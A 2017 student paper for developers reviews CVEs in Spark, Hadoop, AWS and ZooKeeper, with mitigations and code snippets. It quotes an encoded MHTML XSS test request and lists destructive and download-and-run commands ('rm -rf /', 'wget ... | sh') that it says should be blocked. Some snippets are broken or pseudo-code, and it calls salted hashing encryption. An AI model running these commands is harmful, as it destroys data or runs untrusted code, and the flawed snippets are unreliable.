Designing, developing and deploying into production secure big data applications using Spark, Hadoop, AWS and ZooKeeper.

Ruchita Garde

1st November, 2017

When deploying a big data application, it is not enough to understand only the basic working of a few technologies. Since big data applications are basically distributed applications, there are a range of technologies which come into play for managing the distributed components in addition to the other components used for data storage, data access and retrieval, data processing which form a workflow. With large data, come large security concerns, and it becomes extremely important to think about security at every stage of application development, deployment and usage. This paper focuses mainly on the security vulnerabilities of products which form the big data ecosystem like Apache Spark, Hadoop, Amazon Web Services and Apache ZooKeeper. Some of the discussed vulnerabilities have been mitigated by updated versions of the product, but I will still talk about the lessons learned from them and things to keep in mind for the future. My audience comprises of developers who develop these applications. The aim of the paper is design and implementation of secure software.

1. Apache Spark

Apache Spark is a fast, in-memory data processing engine with elegant and expressive development APIs to allow data workers to efficiently execute streaming, machine learning or SQL workloads that require fast iterative access to datasets [Spark2017].
Spark can be written in any of the following languages: Python, Scala, Java, R
Latest version: 2.1.2 released on 9th October 2017.

1.1. Vulnerability 1:

Spark applications can be started programmatically using the launcher API. This API performs unsafe deserialization of data received by its socket. This makes applications potentially vulnerable to arbitrary code execution by an attacker with access to any user account on the local machine. It does not affect apps run by spark-submit or spark-shell. The attacker would be able to execute code as the user that ran the Spark application. The authentication type is 'not required' which means, the attacker need not be logged into the system when the attacker's code is being executed [CVE12612].

Type of vulnerability: Execute code
Present in version: Apache Spark 1.6.0 until 2.1.1.
How to mitigate: Update to version 2.2.0 or later.

What can developers learn from this: Although not present in 2.2.0 or later, it is interesting to note that this vulnerability was present for many Spark versions, and it took more than 1 year (1.6.0 was released on 4th January 2016 and 2.1.1 was released on 2nd May, 2017) to fix this issue. The unsafe deserialization vulnerability in Apache Struts was what caused the Equifax security incident. Consider the following learnings:

1.1.1. It is important that your spark job is constantly monitored. Each driver program has a web UI, typically on port 4040, that displays information about running tasks, executors, and storage usage.

Simply go to http://<driver-node>:4040 in a web browser to access this UI [SparkDoc]. This UI gives information about nodes in the cluster and current running tasks, which is a good way to keep in check that no unwanted extra nodes are being allocated, and only the tasks authorized by you are running.

1.1.2. Authenticate the spark UI. You don't want to expose the spark app name and other details to everyone. This can be done using javax servlet filters, which can basically intercepts HTTP requests sent to your web application.

1.1.3. It is a good practice, in my opinion, to have this piece of code in your spark program:

```
import pyspark
# start
Sc = pyspark.SparkContext()
# # your code
If (# something goes wrong){
    # stop
    sc.stop() }
```

This lets you terminate the execution of the current script. Although, note that this does not let you stop the driver program. In this case, where we are talking about an attacker having access to a user account, it makes sense to immediately kill the spark driver from the 'kill' link on the web UI.

1.2. Vulnerability 2:

It is possible for an attacker to take advantage of a user's trust in the server to trick them into visiting a link that points to a shared Spark cluster and submit data including MHTML to the Spark master, or history server. This data, which could contain a script, would then be reflected to the user and could be evaluated and executed by MS Windows-based clients. It is not an attack on Spark itself, but on the user, who may then execute the script inadvertently when viewing elements of the Spark web UIs [CVE7678].

Type of vulnerability: Cross site scripting
Present in version: Apache Spark 2.1.1 and earlier.
How to mitigate: Update to version 2.2.0 or later.

What can developers learn from this: This vulnerability teaches us more about the alertness and awareness a spark developer should show. To understand what a developer could do, let us look at how spark mitigates this vulnerability. Look at the following example [SparkDev]:

```
Request:
GET /app/?appId=Content-Type:%20multipart/related;%20boundary=_AppScan%0d%0a--
_AppScan%0d%0aContent-Location:foo%0d%0aContent-Transfer-
Encoding:base64%0d%0a%0d%0aPGhobWw%2bPHNjcmlwdD5hbGVydCgiWFNTIik8L3Njcmlwd
D48L2hobWw%2b%0d%0a
HTTP/1.1

Excerpt from response:
<div class="row-fluid">No running application with ID Content-Type: multipart/related;
boundary=_AppScan  --_AppScan </div>
```

As I have already mentioned before, the spark web UI will have information about your app ID. This is how and where you mention your app ID inside your application code:

```
import org.apache.spark.SparkConf
import org.apache.spark.SparkContext
val conf = newSparkConf()
        .setAppName("MySparkApp").setMaster("spark://master:7077")
        .set("spark.executor.memory", "4g")
val sc = new SparkContext(conf)
```

The attacker's request mentions app's name to be 'multipart/related' which is not difficult to spot with a little effort and prevent yourself from blindly trusting the url. Awareness and alertness is the most crucial step while mitigating this risk.

1.3. Vulnerability 3:

Spark is vulnerable to SQL injections when working with Spark SQL (one of the four Spark built-in libraries provided).

How to mitigate:

SQL queries constructed like this pose a risk:

```
# Register the DataFrame as a SQL temporary view
df.createOrReplaceTempView("people")
sqlDF = spark.sql("SELECT name FROM people")
```

It is my personal opinion and suggestion that, as long as you have small and simple queries, avoid using '.sql()' to write a string query. Instead, use the built-in functions provided by spark API to replicate them. Consider the following python example:

```
# df is the DatatFrame which we need to query
# This query too returns the 'name' column
nameDf = df.select(df['name'])
```

Even complex queries can be prepared using API functions. Look at the following Java code [SparkAPI]:

```
// To create DataFrame using SQLContext
DataFrame people = sqlContext.read().parquet("...");
DataFrame department = sqlContext.read().parquet("...");

people.filter("age".gt(30))
  .join(department, people.col("deptId").equalTo(department("id")))
  .groupBy(department.col("name"), "gender")
  .agg(avg(people.col("salary")), max(people.col("age")));
```

2. Apache Hadoop

The Apache Hadoop software library is a framework that allows for the distributed processing of large data sets across clusters of computers. It is designed to scale up from single servers to thousands of machines, each offering local computation and storage.

Latest version: 2.8.2 released on 24th October 2017, or 3.0.0-beta1 released on 3rd October 2017.

2.1. Vulnerability 1:

Docker is an easy-to-use interface to Linux containers with easy-to-construct image files for those containers. The LinuxContainerExecutor runs docker commands as root with insufficient input validation. When the docker feature is enabled, authenticated users can run commands as root. The CVSS score for this vulnerability is 8.5, which is the highest among all other Hadoop vulnerabilities. The Confidentiality, Integrity and Availability impact is 'complete compromise' [CVE7669].

Present in version: Apache Hadoop 2.8.0, 3.0.0-alpha1, and 3.0.0-alpha2.
How to mitigate: Update to 3.0.0-alpha3.

What can developers learn from this: 'Ambari' is the web interface used for managing Hadoop clusters. The LinuxContainerExecutor performs a privilege escalation to run containers as the users that submitted the application request. There are 2 problems here: invalid input validation and allowing to run commands as root.
Considering the users to be developers with no wrong intentions, it is important to know exactly what your entered command is going to do. Had there been input validation, maybe some commands would have been blacklisted, and you wouldn't have to worry so much about typing errors or stupidity. The internet is replete with examples of unsafe linux commands, which increase the danger in this case since we are running as root (highest level of privilege).

2.1.1. Some example commands which should be prevented [Blog2016]:

- 'rm -rf /' : deletes everything on the disk
- 'wget http://www.domain.com/script.txt -O- | sh' : 'wget' stands for web get which downloads files over a network. From domain.com, it immediately loads and runs the code. This also reveals our vulnerability in seeing websites as trustworthy.
- '/dev/sda' : This will spoil the layout of the disk. Large pieces of debris that are sent to /dev/sda will destroy data on the disk without the possibility of recovery of specialized programs.

3. AWS

Amazon Web Services (AWS) is a cloud-services platform offering computing power and database storage delivered as a utility on demand [AWS].

3.1. Vulnerability 1:

It oToo much network access is permitted if your default configuration of NACL is on use [AWS2017]. NACL is the Network Access Control List which is applied to AWS Virtual Private Cloud (VPC).

How to mitigate: Leaving configurations to default causing security attacks is not something unheard of. Your NACL should be restrictive, only permitting valid internet traffic required to operate AWS. Not just in the case of AWS, but all your storage solutions should have a layer of Access Control Lists.

Here's how for dummies [Tetz2011] [Cisco2007]:
The ACL is made up of a series of Access Controlled Entries (ACE). Each ACE has the following structure on your configuration:

```
`access-list <number> <access> <source network or host ID> <wildcard mask>`
```

Masks in IP ACLs are reverse of subnet masks, called 'wildcard masks'. Subtract the normal mask from 255.255.255.255 in order to determine the ACL inverse mask.

```
255.255.255.255 - 255.255.255.0 (normal mask) = 0.0.0.255 (inverse mask)
```

If you create a single-entry ACL permitting all hosts on the Class C network of 192.168.8.0, then the complete ACL would be:

```
access-list 10 permit   192.168.8.0    0.0.0.255
access-list 10 deny any
```

For summarization, subnet masks can also be represented as a fixed length notation. For example, 192.168.10.0/24 represents 192.168.10.0 255.255.255.0.

To add another entry to your list and to show your list:

```
Switch1>enable
Password:
Switch1#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
Switch1(config)#access-list 50 permit 192.168.9.0 0.0.0.255
Switch1(config)#end
Switch1#show access-list 50
Standard IP access list 50
   permit 192.168.8.0, wildcard bits 0.0.0.255
   permit 192.168.9.0, wildcard bits 0.0.
```

3.2. Vulnerability 2:

Administrative SSH login is accessible from anywhere. This means the entire internet has access to TCP port 22, since AWS defaults to this level of access. Breach of this nature opens the door to denial of service (DoS) attacks and even irretrievable loss of data critical for sustaining operations [AWS2017].

How to mitigate: Reduce the access to TCP port 22. You can do this by [AWS2017]:

3.2.1. Limiting permitted IP addresses allowed to communicate to destination hosts on TCP port 22.

3.2.2. Using the static office or home IP addresses of your employees as the permitted hosts.

3.2.3. Deploying a bastion host with 2-factor authentication.

3.2.4. Making that host the only permitted IP to communicate with any other nodes inside your account.

3.3. Vulnerability 3:

Old and unused AWS access keys remain enabled in the system [AWS2017].

How to mitigate: Security credentials, access keys older than a certain date should be deactivated. Parts of the following code snippet can be used to deactivate access keys in any other software too [AWSKey]. Notification emails can also be added before deletion.

```
from datetime import datetime
import dateutil.tz, boto3, json, ast

# Max AGE days of key after which it is considered
KEY_MAX_AGE_IN_DAYS = @@key_max_age_in_days
age = datetime.now(tz_info) - key_created_date

# Connect to AWS APIs
 client = boto3.client('iam')
 users = {}
 data = client.list_users()
 username = users[user]
 access_keys = client.list_access_keys(UserName=username)['AccessKeyMetadata']
 for access_key in access_keys:
        access_key_id = access_key['AccessKeyId']

 masked_access_key_id = mask_access_key(access_key_id)

key_state = ''
 if age >= KEY_MAX_AGE_IN_DAYS:
    key_state = KEY_EXPIRED_MESSAGE
    client.update_access_key(UserName=username, AccessKeyId=access_key_id, Status= "Inactive")
   key_info = {'accesskeyid': masked_access_key_id, 'age': age, 'state': key_state, 'changed': True}
   user_keys.append(key_info)
```

4. Apache ZooKeeper

Apache ZooKeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services [Zoo]. It is essentially a distributed hierarchical key-value store [Wiki2017].

Latest version: 3.4.10 was released on 30th March 2017 and 3.5.3-beta was released on 17 April 2017.

4.1. Vulnerability 1:

Apache Zookeeper logs cleartext admin passwords, which allows local users to obtain sensitive information by reading the log [CVE0085].

How to mitigate: This flaw only affects Apache Zookeeper in conjunction with Fuse Fabric. Fuse Fabric was storing cleartext passwords, which would appear as cleartext in Apache Zookeeper's log files. Fuse Fabric now encrypts passwords by default.

What can developers learn from this: Always, always encrypt passwords and other user information in log files. OWASP has a list of things which should not be directly recorded in logs [OWASP]. Some of them include: Application Source code, database connection strings, access tokens etc. Python has a library 'hashlib' which can implement many hashing algorithms like SHA1, SHA256, SHA512, RSA's MD5, etc. Consider the following python code to store salted hashes of your sensitive information if your software does not already do so [PyCentral]:

```
import uuid
import hashlib

def hash_password(password):
   # uuid is used to generate a random number
   salt = uuid.uuid4().hex
   return hashlib.sha256(salt.encode() + password.encode()).hexdigest() + ':' + salt

hashed_password = hash_password('New password string')
print('The string to store in the db is: ' + hashed_password)
```

My aim in showing this code snippet is to convince the reader that encryption is not a very difficult or time-consuming task, and you always should encrypt sensitive data, especially in your log files.

4.2. Vulnerability 2:

Buffer overflow in the C client shells in Apache Zookeeper, when using the input command 'cmd:<cmd>' batch mode syntax, allows attackers to have unspecified impact via a long command string (>1024 characters) [CVE5017].

Present in version: Before 3.4.9, and 3.5.x before 3.5.3.
How to mitigate:

- Upgrade to 3.4.9, or 3.5.3 or higher.
- Move to the Java client and use the C client for illustration purposes only

What can developers learn from this:

4.2.1. Read the documentation! The C client shell is intended to be a sample of how to use the C client interface, and not as a production tool. This point has been documented clearly [OSS2016]. (Although, after discussing this with my professor David Wheeler, I agree that it is absurd to expect developers to not take the easy way. They/we have always done so.) In an age where developers are working on new technologies every month, we tend to skip reading the fine print, and move straight to writing code. Although, as fast as that may be, it may not be the most efficient way of doing things.

4.2.2. Add layers of security & reduce attack surface. Do not give all privileges to a single user. Having user and group level privileges ensures varying levels of security constraints. There are client level

security constraints in place for this shell. Thus, even if someone wanted to take advantage of this buffer overflow vulnerability, he would have been limited [OSS2016].

4.2.3. If you are writing your own bash script, look at the following code snippet in C which you can add to your code to prevent such vulnerabilities [ZooGit]. This is specific to ZooKeeper, but parts of this code can be implemented in any other software.

```
#include <zookeeper.h>
#include <proto.h>
#include <stdlib.h>
int main(int argc, char **argv) {
    if (argc > 2) {
       if(strncmp("cmd:",argv[2],4)==0){
          size_t cmdlen = strlen(argv[2]);
          if (cmdlen > sizeof(cmd)) {
               fprintf(stderr, "Command length %zu exceeds max length of %zu\n", cmdlen,
                        sizeof(cmd));
           return 2;
           }
      strncpy(cmd, argv[2]+4, sizeof(cmd));
      batchMode=1;
      fprintf(stderr,"Batch mode: %s\n",cmd);
    }else{
          . . .
          /* Do what you want to do */
    }
```

Summary

Summarizing all the security vulnerability mitigations covered in this paper: Monitor your spark application for strange activity, confirm app ID mentioned in URLs before trusting them, use Spark SQL API functions instead of string queries to prevent SQL injection, have input validation, beware of certain linux commands, be aware of your user privileges and the harm it may accidentally cause, restrict only trusted IPs to access your data store, prefer two-factor authentication to just passwords, destroy old unused access tokes, encrypt sensitive information in log files and read product documentation properly before using it.

References:

I thank Professor David Wheeler for giving his valuable comments on the paper (https://www.dwheeler.com/).

[Spark2017]	Hortonworks documentation. https://hortonworks.com/apache/spark/
[CVE12612]	CVE security vulnerability datasource. Apache Spark. http://www.cvedetails.com/cve/CVE-2017-12612/
[SparkDoc]	Spark Documentation. http://spark.apache.org/docs/latest/cluster-overview.html

[SparkAPI]	Spark API documentation. https://spark.apache.org/docs/1.6.0/api/scala/index.html#org.apache.spark.sql.DataFrame
[CVE7678]	CVE security vulnerability datasource. Apache Spark. http://www.cvedetails.com/cve/CVE-2017-7678/
[SparkDev]	Spark Developers list. Discussion on CVE-2017-7678 Apache Spark XSS web UI MHTML vulnerability. http://apache-spark-developers-list.1001551.n3.nabble.com/CVE-2017-7678-Apache-Spark-XSS-web-UI-MHTML-vulnerability-td21947.html
[CVE7669]	CVE security vulnerability datasource. Apache Hadoop. https://www.cvedetails.com/cve/CVE-2017-7669/
[Blog2016]	MintGuide blog on Linux commands. https://mintguide.org/other/676-what-commands-you-should-never-use-in-linux.html
[AWS]	AWS homepage. https://aws.amazon.com/what-is-aws/
[AWS2017]	E-book by cloud security company Evident.io. *Top ten AWS cloud security risks*.2017. http://info.evident.io/top-ten-aws-cloud-security-risks-ebook.html?utm_source=google&utm_medium=cpc&utm_campaign=nam_us_search&utm_content=top-ten-aws-cloud-security-risks-ebook&utm_term=aws%20security&gclid=Cj0KCQjw4eXPBRCtARIsADvOjY2C1pMw2mKwOJZtYCuc5rh1sV7Lf0o86ezOuFCTeKzCLFeqODxiCR4aAjTGEALw_wcB
[Tetz2011]	Edward Tetz. *Cisco networking all-in-one for dummies*. 2011. http://www.dummies.com/programming/networking/cisco/creating-standard-access-control-lists-acls/
[Cisco2007]	Cisco Documentation. Configuring IP Access lists. Document ID:23602. December 2007. https://www.cisco.com/c/en/us/support/docs/security/ios-firewall/23602-confaccesslists.html
[AWSKey]	Github user: te-papa. Repository name: aws-key-disabler. June 2016. https://github.com/te-papa/aws-key-disabler/blob/master/lambda/src/RotateAccessKey.py
[Zoo]	ZooKeeper homepage. https://zookeeper.apache.org/
[Wiki2017]	Wikipedia page last edited on 2nd October, 2017. https://en.wikipedia.org/wiki/Apache_ZooKeeper
[CVE0085]	CVE security vulnerability datasource. Apache ZooKeeper. https://www.cvedetails.com/cve/CVE-2014-0085/
[OWASP]	Jim Manico. OWASP cheat sheets. Logging. 2017. https://www.owasp.org/index.php/Logging_Cheat_Sheet
[PyCentral]	Python Central. Hashing strings with python. http://pythoncentral.io/hashing-strings-with-python/
[CVE5017]	CVE security vulnerability datasource. Apache ZooKeeper. https://www.cvedetails.com/cve/CVE-2016-5017/
[OSS2016]	Openwall OSS Security Mailing list. September, 2016 - http://www.openwall.com/lists/oss-security/2016/09/17/3
[ZooGit]	Git at Apache. ZooKeeper project. Commit differences. https://git-wip-us.apache.org/repos/asf?p=zookeeper.git;a=commitdiff;h=f09154d6648eeb4ec5e1ac8a2bacbd2f8c87c14a